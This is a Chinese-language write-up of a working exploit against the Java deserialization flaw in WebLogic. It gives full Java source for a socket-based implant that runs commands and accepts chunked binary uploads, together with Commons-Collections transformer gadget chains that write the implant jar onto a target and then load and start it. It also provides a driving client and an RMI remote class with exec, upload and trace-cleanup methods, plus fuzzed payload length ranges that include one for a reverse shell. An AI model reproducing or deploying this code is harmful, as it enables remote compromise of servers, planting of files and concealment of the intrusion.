Java反序列化漏洞由來已久，在WebLogic和JBoss等著名服務器上都曝出存在此漏洞。FoxGlove Security安全團隊的breenmachine給出了詳細的分析，但沒有給出更近一步的利用方式。前段時間rebeyond在不需要連接公網的情況下使用RMI的方式在WebLogic上實現了文本文件上傳和命令執行，但沒有實現二進制文件上傳。我通過使用Socket的方式實現了二進制文件上傳和命令執行，同時也實現了RMI方式的二進制文件。
首先發Payload在目標服務器中寫入一個Socket實現的迷你服務器類，所有的功能都將由這個迷你服務器來執行，然后再發一個Payload來啟動服務器，最后本地客戶端創建Socket連接的方式向服務器發送請求來使用相應的功能，其中上傳二進制文件我采用分塊傳輸的思想，這樣可以實現上傳較大的文件。
#!java
public class Server {
/**
* 啟動服務器
* @param port
* @param path
*/
public static void start(int port, String path) {
ServerSocket server = null;
Socket client = null;
InputStream input = null;
OutputStream out = null;
Runtime runTime = Runtime.getRuntime();
try {
server = new ServerSocket(port);
// 0表示功能模式 1表示傳輸模式
int opcode = 0;
int len = 0;
byte[] data = new byte[100 * 1024];
String uploadPath = "";
boolean isUploadStart = false;
client = server.accept();
input = client.getInputStream();
out = client.getOutputStream();
byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };
while (true) {
len = input.read(data);
if (len != -1) {
if (opcode == 0) {
// 功能模式
String operation = new String(data, 0, len);
String[] receive = operation.split(":::");
if ("bye".equals(receive[0])) {
// 斷開連接 關閉服務器
out.write("success".getBytes());
out.flush();
FileOutputStream outputStream = new FileOutputStream(path);
// 清理殘留文件
outputStream.write("".getBytes());
outputStream.flush();
outputStream.close();
break;
} else if ("cmd".equals(receive[0])) {
// 執行命令 返回結果
try {
Process proc = runTime.exec(receive[1]);
InputStream in = proc.getInputStream();
byte[] procData = new byte[1024];
byte[] total = new byte[0];
int procDataLen = 0;
while ((procDataLen = in.read(procData)) != -1) {
byte[] temp = new byte[procDataLen];
for (int i = 0; i < procDataLen; i++) {
temp[i] = procData[i];
}
total = byteMerger(total, temp);
}
if (total.length == 0) {
out.write("error".getBytes());
} else {
out.write(total);
}
out.flush();
} catch (Exception e) {
e.printStackTrace();
out.write("error".getBytes());
out.flush();
}
} else if ("upload".equals(receive[0])) {
// 切換成傳輸模式
uploadPath = receive[1];
isUploadStart = true;
opcode = 1;
}
} else if (opcode == 1) {
// 傳輸模式
byte[] receive = new byte[len];
for (int i = 0; i < len; i++) {
receive[i] = data[i];
}
if (Arrays.equals(overData, receive)) {
// 傳輸結束切換成功能模式
isUploadStart = false;
opcode = 0;
} else {
// 分塊接收
FileOutputStream outputStream = null;
if (isUploadStart) {
// 接收文件的開頭部分
outputStream = new FileOutputStream(uploadPath, false);
outputStream.write(receive);
isUploadStart = false;
} else {
// 接收文件的結束部分
outputStream = new FileOutputStream(uploadPath, true);
outputStream.write(receive);
}
outputStream.close();
}
}
} else {
Thread.sleep(1000);
}
}
} catch (Exception e) {
e.printStackTrace();
try {
out.write("error".getBytes());
out.flush();
} catch (IOException e1) {
e1.printStackTrace();
}
} finally {
try {
client.close();
server.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
/**
* 合并字節數組
* @param byte_1
* @param byte_2
* @return 合并后的數組
*/
private static byte[] byteMerger(byte[] byte_1, byte[] byte_2) {
byte[] byte_3 = new byte[byte_1.length + byte_2.length];
System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);
System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);
return byte_3;
}
}
編譯并導出jar包
這里我要特別說明一點，breenmachine在介紹WebLogic漏洞利用時特別說明了需要計算Payload的長度，但是我看到過的國內文章沒有一篇提到這一點，給出的利用代碼中的Payload長度值寫的都是原作者的09f3，我覺得這也是導致漏洞利用失敗的主要原因之一，因此發送Payload前最好計算下長度。
A very important point about the first chunk of the payload. Notice the first 4 bytes “00 00 09 f3”. The “09 f3” is the specification for the TOTAL payload length in bytes.
Payload的長度值可以在一個范圍內，我們團隊的cf_hb經過fuzz測試得到幾個范圍值：
- poc訪問指定url：0x0000-0x1e39
- 反彈shell：0x000-0x2049
- 執行命令calc.exe：0x0000-0x1d38
這一步生成上傳jar包的Payload
#!java
public static byte[] generateServerPayload(String remotePath) throws Exception {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(FileOutputStream.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { remotePath } }),
new InvokerTransformer("write", new Class[] { byte[].class },
new Object[] { Utils.hexStringToBytes(SERVER_JAR) }),
new ConstantTransformer(1) };
return generateObject(transformers);
}
發送到目標服務器寫入jar包
生成啟動服務器的Payload
#!java
public static byte[] generateStartPayload(String remoteClassPath, String remotePath, int port) throws Exception {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new URL[] { new URL(remoteClassPath) } } }),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "org.heysec.exp.Server" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "start", new Class[] { int.class, String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[] { port, remotePath } }) };
return generateObject(transformers);
}
發送到目標服務器啟動迷你服務器
本地測試客戶端的代碼
#!java
public class Client {
public static void main(String[] args) {
Socket client = null;
InputStream input = null;
OutputStream output = null;
FileInputStream fileInputStream = null;
try {
int len = 0;
byte[] receiveData = new byte[5 * 1024];
byte[] sendData = new byte[100 * 1024];
int sendLen = 0;
byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };
// 創建客戶端Socket
client = new Socket("10.10.10.129", 8080);
input = client.getInputStream();
output = client.getOutputStream();
// 發送準備上傳文件命令使服務器切換到傳輸模式
output.write("upload:::test.zip".getBytes());
output.flush();
Thread.sleep(1000);
// 分塊傳輸文件
fileInputStream = new FileInputStream("F:/安全集/tools/BurpSuite_pro_v1.6.27.zip");
sendLen = fileInputStream.read(sendData);
if (sendLen != -1) {
output.write(Arrays.copyOfRange(sendData, 0, sendLen));
output.flush();
Thread.sleep(1000);
while ((sendLen = fileInputStream.read(sendData)) != -1) {
output.write(Arrays.copyOfRange(sendData, 0, sendLen));
output.flush();
}
}
Thread.sleep(1000);
// 發送文件上傳結束命令
output.write(overData);
output.flush();
Thread.sleep(1000);
// 執行命令
output.write("cmd:::cmd /c dir".getBytes());
output.flush();
Thread.sleep(1000);
// 接收返回結果
len = input.read(receiveData);
String result = new String(receiveData, 0, len, "GBK");
System.out.println(result);
Thread.sleep(1000);
// 關閉服務器
output.write("bye".getBytes());
output.flush();
Thread.sleep(1000);
len = input.read(receiveData);
System.out.println(new String(receiveData, 0, len));
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
fileInputStream.close();
client.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
測試結果1
測試結果2 
客戶端發送關閉請求
#!java
output.write("bye".getBytes());
output.flush();
服務器清除殘留文件并關閉
#!java
if ("bye".equals(receive[0])) {
// 斷開連接 關閉服務器
out.write("success".getBytes());
out.flush();
FileOutputStream outputStream = new FileOutputStream(path);
// 清理殘留文件
outputStream.write("".getBytes());
outputStream.flush();
outputStream.close();
break;
}
這就是按照我的思路實現的全部過程
這部分只是對rebeyond的利用方式進行了擴展，添加了二進制文件上傳的功能以及優化了流程。
擴展的遠程類
#!java
public class RemoteObjectImpl implements RemoteObject {
/**
* 分塊上傳文件
*/
public boolean upload(String uploadPath, byte[] data, boolean append) {
FileOutputStream out = null;
try {
out = new FileOutputStream(uploadPath, append);
out.write(data);
return true;
} catch (Exception e) {
e.printStackTrace();
return false;
} finally {
try {
out.close();
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
}
/**
* 執行命令
*/
public String exec(String cmd) {
try {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(
proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
String result;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
result = sb.toString();
if ("".equals(result)) {
return "error";
} else {
return result;
}
} catch (Exception e) {
e.printStackTrace();
return "error";
}
}
/**
* 反注冊遠程類并清除殘留文件
*/
public void unbind(String path) {
try {
Context ctx = new InitialContext();
ctx.unbind("RemoteObject");
} catch (Exception e) {
e.printStackTrace();
}
FileOutputStream out = null;
File file = null;
try {
file = new File(path);
out = new FileOutputStream(file);
out.write("".getBytes());
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
out.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
/**
* 注冊遠程類
*/
public static void bind() {
try {
RemoteObjectImpl remote = new RemoteObjectImpl();
Context ctx = new InitialContext();
ctx.bind("RemoteObject", remote);
} catch (Exception e) {
e.printStackTrace();
}
}
}
這樣最后反注冊和清除殘留文件的時候就不需要再發送Payload了，只要調用遠程類的unbind方法就行。
| VS | Socket | RMI |
|---|---|---|
| 端口 | 需要額外端口可能被防火墻攔截 | 使用WebLogic本身端口 |
| 傳輸速率 | 通過Socket字節流較快 | 通過遠程過程調用較慢 |
這里以創建Socket服務器的思想實現了漏洞利用，我們可以繼續擴展服務器的功能，甚至其他的代碼執行漏洞也可以嘗試這種方式，在傳輸較大文件時建議優先使用Socket方式。最后，我開發了GUI程序集成了Socket和RMI兩種利用方式，大家可以自主選擇。
Socket利用方式 
RMI利用方式 
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